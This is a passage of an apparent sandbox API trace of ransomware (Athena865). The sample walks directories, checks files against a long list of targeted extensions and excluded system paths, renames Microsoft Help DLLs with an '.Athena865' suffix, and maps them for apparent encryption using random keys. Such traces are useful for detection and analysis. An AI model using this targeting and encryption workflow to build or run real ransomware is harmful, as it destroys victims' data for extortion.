lpString2="kexic") returned 1 [0107.990] lstrlenW (lpString="kexis") returned 5 [0107.990] lstrcmpiW (lpString1="s.dll", lpString2="kexis") returned 1 [0107.990] lstrlenW (lpString="lgc") returned 3 [0107.990] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0107.991] lstrlenW (lpString="lwx") returned 3 [0107.991] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0107.991] lstrlenW (lpString="maf") returned 3 [0107.991] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0107.991] lstrlenW (lpString="maq") returned 3 [0107.991] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0107.991] lstrlenW (lpString="mar") returned 3 [0107.991] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0107.991] lstrlenW (lpString="marshal") returned 7 [0107.991] lstrcmpiW (lpString1="xds.dll", lpString2="marshal") returned 1 [0107.991] lstrlenW (lpString="mas") returned 3 [0107.991] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0107.991] lstrlenW (lpString="mav") returned 3 [0107.991] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0107.991] lstrlenW (lpString="maw") returned 3 [0107.991] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0107.991] lstrlenW (lpString="mdbhtml") returned 7 [0107.991] lstrcmpiW (lpString1="xds.dll", lpString2="mdbhtml") returned 1 [0107.991] lstrlenW (lpString="mdn") returned 3 [0107.991] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0107.991] lstrlenW (lpString="mdt") returned 3 [0107.991] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0107.991] lstrlenW (lpString="mfd") returned 3 [0107.991] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0107.991] lstrlenW (lpString="mpd") returned 3 [0107.991] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0107.991] lstrlenW (lpString="mrg") returned 3 [0107.991] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0107.991] lstrlenW (lpString="mud") returned 3 [0107.991] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0107.991] lstrlenW (lpString="mwb") returned 3 [0107.991] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0107.991] lstrlenW (lpString="myd") returned 3 [0107.992] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0107.992] lstrlenW (lpString="ndf") returned 3 [0107.992] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0107.992] lstrlenW (lpString="nnt") returned 3 [0107.992] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0107.992] lstrlenW (lpString="nrmlib") returned 6 [0107.992] lstrcmpiW (lpString1="ds.dll", lpString2="nrmlib") returned -1 [0107.992] lstrlenW (lpString="ns2") returned 3 [0107.992] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0107.992] lstrlenW (lpString="ns3") returned 3 [0107.992] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0107.992] lstrlenW (lpString="ns4") returned 3 [0107.992] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0107.992] lstrlenW (lpString="nsf") returned 3 [0107.992] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0107.992] lstrlenW (lpString="nv") returned 2 [0107.992] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0107.992] lstrlenW (lpString="nv2") returned 3 [0107.992] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0107.992] lstrlenW (lpString="nwdb") returned 4 [0107.992] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0107.992] lstrlenW (lpString="nyf") returned 3 [0107.992] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0107.992] lstrlenW (lpString="odb") returned 3 [0107.992] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0107.992] lstrlenW (lpString="odb") returned 3 [0107.992] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0107.992] lstrlenW (lpString="oqy") returned 3 [0107.992] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0107.992] lstrlenW (lpString="ora") returned 3 [0107.992] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0107.992] lstrlenW (lpString="orx") returned 3 [0107.992] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0107.993] lstrlenW (lpString="owc") returned 3 [0107.993] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0107.993] lstrlenW (lpString="p96") returned 3 [0107.993] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0107.993] lstrlenW (lpString="p97") returned 3 [0107.993] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0107.993] lstrlenW (lpString="pan") returned 3 [0107.993] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0107.993] lstrlenW (lpString="pdb") returned 3 [0107.993] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0107.993] lstrlenW (lpString="pdm") returned 3 [0107.993] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0107.993] lstrlenW (lpString="pnz") returned 3 [0107.993] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0107.993] lstrlenW (lpString="qry") returned 3 [0107.993] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0107.993] lstrlenW (lpString="qvd") returned 3 [0107.993] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0107.993] lstrlenW (lpString="rbf") returned 3 [0107.993] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0107.993] lstrlenW (lpString="rctd") returned 4 [0107.993] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0107.993] lstrlenW (lpString="rod") returned 3 [0107.993] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0107.993] lstrlenW (lpString="rodx") returned 4 [0107.993] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0107.993] lstrlenW (lpString="rpd") returned 3 [0107.993] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0107.993] lstrlenW (lpString="rsd") returned 3 [0107.993] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0107.993] lstrlenW (lpString="sas7bdat") returned 8 [0107.993] lstrlenW (lpString="sbf") returned 3 [0107.993] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0107.994] lstrlenW (lpString="scx") returned 3 [0107.994] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0107.994] lstrlenW (lpString="sdb") returned 3 [0107.994] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0107.994] lstrlenW (lpString="sdc") returned 3 [0107.994] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0107.994] lstrlenW (lpString="sdf") returned 3 [0107.994] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0107.994] lstrlenW (lpString="sis") returned 3 [0107.994] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0107.994] lstrlenW (lpString="spq") returned 3 [0107.994] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0107.994] lstrlenW (lpString="te") returned 2 [0107.994] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0107.994] lstrlenW (lpString="teacher") returned 7 [0107.994] lstrcmpiW (lpString1="xds.dll", lpString2="teacher") returned 1 [0107.994] lstrlenW (lpString="tmd") returned 3 [0107.994] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0107.994] lstrlenW (lpString="tps") returned 3 [0107.994] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0107.994] lstrlenW (lpString="trc") returned 3 [0107.994] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0107.994] lstrlenW (lpString="trc") returned 3 [0107.994] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0107.994] lstrlenW (lpString="trm") returned 3 [0107.994] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0107.994] lstrlenW (lpString="udb") returned 3 [0107.994] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0107.994] lstrlenW (lpString="udl") returned 3 [0107.994] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0107.994] lstrlenW (lpString="usr") returned 3 [0107.994] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0107.995] lstrlenW (lpString="v12") returned 3 [0107.995] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0107.995] lstrlenW (lpString="vis") returned 3 [0107.995] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0107.995] lstrlenW (lpString="vpd") returned 3 [0107.995] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0107.995] lstrlenW (lpString="vvv") returned 3 [0107.995] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0107.995] lstrlenW (lpString="wdb") returned 3 [0107.995] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0107.995] lstrlenW (lpString="wmdb") returned 4 [0107.995] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0107.995] lstrlenW (lpString="wrk") returned 3 [0107.995] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0107.995] lstrlenW (lpString="xdb") returned 3 [0107.995] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0107.995] lstrlenW (lpString="xld") returned 3 [0107.995] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0107.995] lstrlenW (lpString="xmlff") returned 5 [0107.995] lstrcmpiW (lpString1="s.dll", lpString2="xmlff") returned -1 [0107.995] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.Athena865") returned 70 [0107.995] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.athena865"), dwFlags=0x1) returned 1 [0107.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.998] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1257984) returned 1 [0107.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.998] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.999] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.999] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.999] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x133500, lpName=0x0) returned 0x17c [0108.001] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x133500) returned 0x2d50000 [0108.077] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0108.077] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0108.077] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.077] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0108.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0108.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0108.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0108.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0108.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0108.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0108.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.078] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0108.078] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0108.089] CloseHandle (hObject=0x17c) returned 1 [0108.089] CloseHandle (hObject=0x154) returned 1 [0108.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0108.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0108.089] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0108.094] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0108.094] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0108.094] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.094] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2=".") returned 1 [0108.097] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="..") returned 1 [0108.097] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="windows") returned -1 [0108.097] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="bootmgr") returned 1 [0108.097] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="temp") returned -1 [0108.097] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="pagefile.sys") returned -1 [0108.097] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="boot") returned 1 [0108.097] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="ids.txt") returned 1 [0108.097] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="ntuser.dat") returned -1 [0108.097] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="perflogs") returned -1 [0108.097] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2="MSBuild") returned -1 [0108.097] lstrlenW (lpString="ITIRCL55.DLL") returned 12 [0108.097] lstrcpyW (in: lpString1=0x241e8b0, lpString2="ITIRCL55.DLL" | out: lpString1="ITIRCL55.DLL") returned="ITIRCL55.DLL" [0108.097] lstrlenW (lpString="ITIRCL55.DLL") returned 12 [0108.097] lstrlenW (lpString="Athena865") returned 9 [0108.097] lstrcmpiW (lpString1="RCL55.DLL", lpString2="Athena865") returned 1 [0108.097] lstrlenW (lpString=".dll") returned 4 [0108.097] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2=".dll") returned 1 [0108.098] lstrlenW (lpString=".lnk") returned 4 [0108.098] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2=".lnk") returned 1 [0108.098] lstrlenW (lpString=".ini") returned 4 [0108.098] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2=".ini") returned 1 [0108.098] lstrlenW (lpString=".sys") returned 4 [0108.098] lstrcmpiW (lpString1="ITIRCL55.DLL", lpString2=".sys") returned 1 [0108.098] lstrlenW (lpString="ITIRCL55.DLL") returned 12 [0108.098] lstrlenW (lpString="bak") returned 3 [0108.098] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0108.098] lstrlenW (lpString="ba_") returned 3 [0108.098] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0108.098] lstrlenW (lpString="dbb") returned 3 [0108.098] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0108.098] lstrlenW (lpString="vmdk") returned 4 [0108.098] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0108.098] lstrlenW (lpString="rar") returned 3 [0108.098] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0108.098] lstrlenW (lpString="zip") returned 3 [0108.098] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0108.098] lstrlenW (lpString="tgz") returned 3 [0108.098] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0108.098] lstrlenW (lpString="vbox") returned 4 [0108.098] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0108.098] lstrlenW (lpString="vdi") returned 3 [0108.098] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0108.098] lstrlenW (lpString="vhd") returned 3 [0108.098] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0108.098] lstrlenW (lpString="vhdx") returned 4 [0108.098] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0108.099] lstrlenW (lpString="avhd") returned 4 [0108.099] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0108.099] lstrlenW (lpString="db") returned 2 [0108.099] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0108.099] lstrlenW (lpString="db2") returned 3 [0108.099] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0108.099] lstrlenW (lpString="db3") returned 3 [0108.099] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0108.099] lstrlenW (lpString="dbf") returned 3 [0108.099] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0108.099] lstrlenW (lpString="mdf") returned 3 [0108.099] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0108.099] lstrlenW (lpString="mdb") returned 3 [0108.099] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0108.099] lstrlenW (lpString="sql") returned 3 [0108.099] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0108.099] lstrlenW (lpString="sqlite") returned 6 [0108.099] lstrcmpiW (lpString1="55.DLL", lpString2="sqlite") returned -1 [0108.099] lstrlenW (lpString="sqlite3") returned 7 [0108.099] lstrcmpiW (lpString1="L55.DLL", lpString2="sqlite3") returned -1 [0108.099] lstrlenW (lpString="sqlitedb") returned 8 [0108.099] lstrcmpiW (lpString1="CL55.DLL", lpString2="sqlitedb") returned -1 [0108.099] lstrlenW (lpString="xml") returned 3 [0108.099] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0108.099] lstrlenW (lpString="$er") returned 3 [0108.099] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0108.099] lstrlenW (lpString="4dd") returned 3 [0108.099] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0108.099] lstrlenW (lpString="4dl") returned 3 [0108.099] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0108.099] lstrlenW (lpString="^^^") returned 3 [0108.100] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0108.100] lstrlenW (lpString="abs") returned 3 [0108.100] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0108.100] lstrlenW (lpString="abx") returned 3 [0108.100] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0108.100] lstrlenW (lpString="accdb") returned 5 [0108.100] lstrcmpiW (lpString1="5.DLL", lpString2="accdb") returned -1 [0108.100] lstrlenW (lpString="accdc") returned 5 [0108.100] lstrcmpiW (lpString1="5.DLL", lpString2="accdc") returned -1 [0108.100] lstrlenW (lpString="accde") returned 5 [0108.100] lstrcmpiW (lpString1="5.DLL", lpString2="accde") returned -1 [0108.100] lstrlenW (lpString="accdr") returned 5 [0108.100] lstrcmpiW (lpString1="5.DLL", lpString2="accdr") returned -1 [0108.100] lstrlenW (lpString="accdt") returned 5 [0108.100] lstrcmpiW (lpString1="5.DLL", lpString2="accdt") returned -1 [0108.100] lstrlenW (lpString="accdw") returned 5 [0108.100] lstrcmpiW (lpString1="5.DLL", lpString2="accdw") returned -1 [0108.100] lstrlenW (lpString="accft") returned 5 [0108.100] lstrcmpiW (lpString1="5.DLL", lpString2="accft") returned -1 [0108.100] lstrlenW (lpString="adb") returned 3 [0108.100] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0108.100] lstrlenW (lpString="adb") returned 3 [0108.100] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0108.100] lstrlenW (lpString="ade") returned 3 [0108.100] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0108.100] lstrlenW (lpString="adf") returned 3 [0108.100] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0108.100] lstrlenW (lpString="adn") returned 3 [0108.100] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0108.100] lstrlenW (lpString="adp") returned 3 [0108.100] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0108.100] lstrlenW (lpString="alf") returned 3 [0108.101] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0108.101] lstrlenW (lpString="ask") returned 3 [0108.101] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0108.101] lstrlenW (lpString="btr") returned 3 [0108.101] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0108.101] lstrlenW (lpString="cat") returned 3 [0108.101] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0108.101] lstrlenW (lpString="cdb") returned 3 [0108.101] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0108.101] lstrlenW (lpString="ckp") returned 3 [0108.101] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0108.101] lstrlenW (lpString="cma") returned 3 [0108.101] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0108.101] lstrlenW (lpString="cpd") returned 3 [0108.101] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0108.101] lstrlenW (lpString="dacpac") returned 6 [0108.101] lstrcmpiW (lpString1="55.DLL", lpString2="dacpac") returned -1 [0108.101] lstrlenW (lpString="dad") returned 3 [0108.101] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0108.101] lstrlenW (lpString="dadiagrams") returned 10 [0108.101] lstrcmpiW (lpString1="IRCL55.DLL", lpString2="dadiagrams") returned 1 [0108.101] lstrlenW (lpString="daschema") returned 8 [0108.101] lstrcmpiW (lpString1="CL55.DLL", lpString2="daschema") returned -1 [0108.101] lstrlenW (lpString="db-journal") returned 10 [0108.101] lstrcmpiW (lpString1="IRCL55.DLL", lpString2="db-journal") returned 1 [0108.101] lstrlenW (lpString="db-shm") returned 6 [0108.101] lstrcmpiW (lpString1="55.DLL", lpString2="db-shm") returned -1 [0108.101] lstrlenW (lpString="db-wal") returned 6 [0108.101] lstrcmpiW (lpString1="55.DLL", lpString2="db-wal") returned -1 [0108.101] lstrlenW (lpString="dbc") returned 3 [0108.101] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0108.101] lstrlenW (lpString="dbs") returned 3 [0108.101] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0108.102] lstrlenW (lpString="dbt") returned 3 [0108.102] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0108.102] lstrlenW (lpString="dbv") returned 3 [0108.102] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0108.102] lstrlenW (lpString="dbx") returned 3 [0108.102] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0108.102] lstrlenW (lpString="dcb") returned 3 [0108.102] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0108.102] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0108.102] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0108.102] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0108.102] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0108.102] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0108.102] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0108.102] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.Athena865") returned 74 [0108.102] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.athena865"), dwFlags=0x1) returned 1 [0108.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0108.104] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1831424) returned 1 [0108.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0108.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0108.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0108.104] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0108.105] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0108.105] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.105] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bf500, lpName=0x0) returned 0x17c [0108.107] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bf500) returned 0x2d50000 [0108.179] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0108.179] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0108.179] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0108.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0108.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0108.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0108.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0108.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0108.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0108.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0108.180] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0108.197] CloseHandle (hObject=0x17c) returned 1 [0108.197] CloseHandle (hObject=0x154) returned 